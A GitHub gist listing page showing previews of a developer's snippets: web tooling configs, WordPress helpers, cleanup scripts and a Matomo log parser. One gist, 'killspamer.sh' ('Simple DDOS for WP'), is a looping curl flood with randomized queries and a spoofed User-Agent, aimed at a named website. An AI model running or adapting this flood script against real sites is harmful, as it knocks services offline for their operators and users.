Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Konrad fedek6

🎯
Focusing
View GitHub Profile
@fedek6
fedek6 / .eslintrc.js
Created Jun 16, 2021
How to create react app with Typescript, ESlint, Prettier and Airbnb config (using yarn).
View .eslintrc.js
module.exports = {
env: {
browser: true,
es2021: true,
},
extends: [
"plugin:react/recommended",
"airbnb",
"plugin:import/typescript",
"prettier",
@fedek6
fedek6 / removeSublimeContextMenu.bat
Created Nov 9, 2017
Remove Sublime integration added by: roundand/OpenWithSublimeText3.bat
View removeSublimeContextMenu.bat
@echo off
rem add it for all file types
@reg delete "HKEY_CLASSES_ROOT\*\shell\Open with Sublime Text 3" /f
rem add it for folders
@reg delete "HKEY_CLASSES_ROOT\Folder\shell\Open with Sublime Text 3" /f
pause
View export_tags.sql
SELECT wp_terms.`term_id` AS TagID, wp_terms.`name` AS TagName, SUM( tax.`count` ) AS TagPostCount
FROM `wp_terms`
INNER JOIN wp_term_taxonomy tax ON tax.term_id = wp_terms.term_id
GROUP BY wp_terms.`term_id`;
@fedek6
fedek6 / killspamer.sh
Created May 6, 2021
Simple DDOS for WP
View killspamer.sh
#!/bin/bash
while :
do
echo "Press [CTRL+C] to stop..."
URL=$(cat /dev/urandom | env LC_CTYPE=C tr -dc a-zA-Z0-9 | head -c 16; echo)
for i in {1..100}
do
curl https://goldenliine.pl/?s=$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
curl https://goldenliine.pl/movies/$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
@fedek6
fedek6 / opcache-preload.php
Created Oct 30, 2020
Working WordPress opcache preloading config
View opcache-preload.php
<?php
/**
* WordPress opcache preloading.
* Requires PHP >= 7.4.
*
* @author Konrad Fedorczyk <contact@realhe.ro>
* @link https://stitcher.io/blog/preloading-in-php-74
*
* @version 1.0.0
*/
@fedek6
fedek6 / clean-vsc.sh
Created Apr 8, 2021
Clean Visual Studio Code settings (macOS)
View clean-vsc.sh
#!/bin/sh
rm -rfv "$HOME/.vscode"
rm -rfv "$HOME/Library/Application Support/Code"
rm -rfv "$HOME/Library/Caches/com.microsoft.VSCode"
rm -rfv "$HOME/Library/Saved Application State/com.microsoft.VSCode.savedState"
# Thanks goes to offby1 from stackoverflow!
@fedek6
fedek6 / synergy.conf
Created Mar 9, 2021
Synergy config for Linux -> macOS hosting (fix for altgr error)
View synergy.conf
section: screens
Fabryka:
halfDuplexCapsLock = false
halfDuplexNumLock = false
halfDuplexScrollLock = false
xtestIsXineramaUnaware = false
switchCorners = none
switchCornerSize = 0
Konrads-MacBook-Pro.local:
halfDuplexCapsLock = false
@fedek6
fedek6 / functions.php
Created Mar 13, 2018
Ajax support for WP Newsletter plugin (https://www.thenewsletterplugin.com)
View functions.php
<?php
/** @constant string THEME_NAME **/
define( 'THEME_NAME', get_option('stylesheet') );
/**
* Custom script
*/
function my_scripts_method() {
wp_enqueue_script(
'custom-script',
@fedek6
fedek6 / .user.ini
Created Jul 27, 2018
Simple PHP large upload test script
View .user.ini
upload_max_filesize = 2048M
post_max_size = 2048M
max_input_time = 3600
@fedek6
fedek6 / parse_logs.ps1
Last active Feb 25, 2020
Parse logs for Matomo (Piwik) on Windows [using Powershell]
View parse_logs.ps1
#Based on https://matomo.org/docs/log-analytics-tool-how-to/
#------------------------------------------------------------------------
# Config
#:: Python URL (must be 2.x)
$PY_BIN="C:\Program Files\Python\Python27\python.exe"
#:: Matomo import_logs executable
$IMPORT_LOGS="[path_to_piwik]\piwik\misc\log-analytics\import_logs.py"